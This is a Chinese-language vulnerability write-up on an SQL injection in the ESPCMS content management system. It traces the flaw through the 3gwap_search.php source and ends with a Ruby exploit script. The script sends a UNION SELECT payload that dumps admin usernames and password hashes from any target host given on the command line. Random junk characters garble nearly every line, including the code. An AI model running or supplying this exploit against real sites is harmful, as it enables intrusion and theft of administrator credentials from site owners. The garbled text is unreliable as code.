0×0 漏洞概述0×1 漏洞细节- H) o6 T" l0 F: D! p1 }
0×2 PoC
J5 {! f- h0 z4 G' Z2 e m" `: |9 [
/ @3 n+ v" \# ~ ^; _
. `3 C( [& s. w: M( v4 b3 w0×0 漏洞概述# P6 S( c3 B- ^
% ^9 S( O) m% d7 {& D! b
易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。( l3 ]; s ^) R8 x2 H0 q8 |3 L
其在处理传入的参数时考虑不严谨导致SQL注入发生
' Q* j- F3 I' f O
& }" {+ w( @3 \8 p' D& t) I- U) z) k+ c9 i5 e8 b
0×1 漏洞细节6 W) @+ K8 o- k( l H( c' E
- ]5 J7 Y4 p' e# e V变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。8 B- s7 F( V) p8 @
正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。
2 i! E5 v; e- a而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。; ^& ?8 y: ]3 n+ v' ] {( v
6 g% @+ o/ a: j6 e$ m" a' e- Q在/interface/3gwap_search.php文件的in_result函数中:, {! V$ y7 {4 G O
/ V) |0 q4 Z8 i: C5 D) \' d6 @
( W, ]! t0 X0 \$ s' n
* S4 Y: d$ `7 ~. X& X8 O4 o! D5 S function in_result() {
% ^* z4 L" Q2 ~ G1 B, y ... ... ... ... ... ... ... ... ...2 s3 T4 M$ R& A
$urlcode = $_SERVER[ 'QUERY_STRING '];5 M( K# L# y% k% I! h6 v& `4 X1 F9 y/ M
parse_str(html_entity_decode($urlcode), $output);
& s6 T1 p( O- N! |5 I' k4 g2 u2 `8 B6 e( C, i
... ... ... ... ... ... ... ... ...
% l0 n& y2 U/ d8 m if (is_array($output['attr' ]) && count($output['attr']) > 0) {/ q; t1 M/ N" i5 d1 C& C7 i( ~/ V" l6 e
" B W2 Z; K! A $db_table = db_prefix . 'model_att';
& e; R2 F8 c# {% `% P' b
2 B F) N+ _. s8 ^# J: Q( e foreach ($output['attr' ] as $key => $value) {4 { }' |! s6 H3 F6 e0 t$ y
if ($value) {
5 t8 l0 X8 h5 x& ~) O: l: e
- p. O7 B5 u3 |6 d- C $key = addslashes($key);# Y% L+ O9 I: Z* U5 I3 o2 d
$key = $this-> fun->inputcodetrim($key);
1 U- A% t/ F( A- W $db_att_where = " WHERE isclass=1 AND attrname='$key'";' v4 r& m5 c8 h
$countnum = $this->db_numrows($db_table, $db_att_where);
# [( D) j, a4 s) W; P3 f if ($countnum > 0) {% g; n: _0 P' z/ j9 C M( @
$db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;) j) J' q) @% r# H, k4 w* K/ `: D
}
3 u# I: N$ b8 k! {3 O! e }
) R; ]+ c( C0 h2 P/ H8 _. k }; M) O9 e7 h' T; N% f( Q
}1 i% y' x* [- Q0 v
if (!empty ($keyword) && empty($keyname)) {
- P6 e; `- z' U $keyname = 'title';
* w' Q: u" h2 U U! p$ q* W V $db_where.= " AND a.title like '%$keyword%'" ;2 L9 H- ?9 `2 X/ R- {" v
} elseif (!empty ($keyword) && !empty($keyname)) {
: D9 r9 d% W3 K! m: s5 V $db_where.= " AND $keyname like '% $keyword%'";# N3 h; J7 v+ |1 C# ^1 y
}* y: s2 D9 h* a! F; M, s( v+ A
$pagemax = 15;, _) Z% s! T% m D$ {9 T, X! q0 ^: S% W
* Y. G/ a; E, B0 R
$pagesylte = 1;
; d# c# o+ c) F$ E- ~5 l; ~ k+ f( a! Q7 ^
if ($countnum > 0) {
4 q2 e+ W" Z! U) C
, C8 N; u$ p+ `8 F $numpage = ceil($countnum / $pagemax);
' _6 I2 t* p8 `6 I U2 y% m/ s } else {
( L4 x7 j4 U: J" M4 ?# V6 }& k $numpage = 1;
8 o2 @2 H& }/ w1 d7 s2 b" l9 H6 r }
& k8 u5 p9 |5 Y( S $sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;
2 |7 q2 B8 H9 s' p- p+ _" V) O D $this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);
( Y" b, D ~% ^$sql = $this-> htmlpage->PageSQL('a.did' , 'down' ); $rs = $this->db->query($sql);6 y& i- j* x' m: j3 d* V
... ... ... ... ... ... ... ... ...% j, r3 y* x& B* ~/ i0 k
}. ?5 \" T0 h2 E ]
9 ?8 P. S$ G' j. z% f
5 y/ B; A' w) k/ J$ D C0×2 PoC& p9 ^+ V i9 p ]6 z; x
0 }5 f7 {' C$ f( D
+ ]" g% _) D4 u6 { e3 o7 F+ ]6 }( I9 K* [6 ?
require "net/http"
0 l/ s4 b) o$ B+ x4 f c
# Z3 m$ i' |) V- T" L9 W( t4 q# j& ~def request(method, url)
8 n( D' u) Y7 U6 v7 [- k% o$ B3 X if method.eql?("get")
3 s! A0 b" g3 M, l# Z2 l9 O- h uri = URI.parse(url)& C @ L0 _& n' A
http = Net::HTTP.new(uri.host, uri.port)# |. f9 k. B5 E, C
response = http.request(Net::HTTP::Get.new(uri.request_uri))
0 C: D' P2 _4 C a return response
% L/ U; G. G1 n* Y end
8 J( d! P$ e7 E. A: T$ L! nend
6 _% J" Q' H( W% p/ @7 O7 i+ r
doc =<<HERE V+ ^8 b* d; p V: X, ?, T2 d
-------------------------------------------------------; z) z3 L* ^/ J) w" k, {
Espcms Injection Exploit4 v# f: R2 K* ]& t |+ D+ L+ M
Author:ztz
; j/ \( x' t$ sBlog:http://ztz.fuzzexp.org/0 n7 R, N0 l. `' G: R) U) N
-------------------------------------------------------
) N0 C8 I* M7 O$ W3 K$ h; X9 _+ A( u' r0 f8 d4 ?
HERE$ G5 O1 u4 E. U' L7 f1 Y$ k
9 Z% Y I. M$ m- {
usage =<<HERE/ R% k8 j' }4 q. A" i6 J
Usage: ruby #{$0} host port path
1 @0 }% [7 F" ]% ?example: ruby #{$0} www.target.com 80 /
$ H0 p, Y, S7 d( F' Z3 y- OHERE
- M/ z. D2 j* _
0 X- \( d6 W0 p* N( |/ M3 lputs doc: `' v3 ^+ }* [7 }, _; X# d
if ARGV.length < 3' l% d9 ^7 T C4 {+ Y
puts usage
& E! v- i8 H& Z% p; Velse$ A/ F$ v; i. `+ |. G
$host = ARGV[0]3 f# j7 a7 g, ` |
$port = ARGV[1]
+ C4 s8 T! b5 C! _1 U% l $path = ARGV[2]/ v8 g$ T& ?1 g- T; B$ l* y
Q! @3 g0 s9 g8 b' v
puts "send request..."$ ]. @" O& c: Y
url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&
% E' e( D9 R1 A" P2 G+ Rattr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13. F5 p7 ^- v# q+ \. J, Q
,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27: {# y) y+ p! E* t* ]
,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"9 c; Q4 B2 m9 K! e4 ~% d
response = request("get", url)% j K: w, N* s% ]5 w4 f
result = response.body.scan(/\w+&\w{32}/)" Z9 E2 h) P! d" Y. \8 e
puts result
% u- C8 ?. ~+ Nend
" u: _2 K6 U* {* v& X H* U/ n% X2 k6 o7 _3 ~ g2 d
|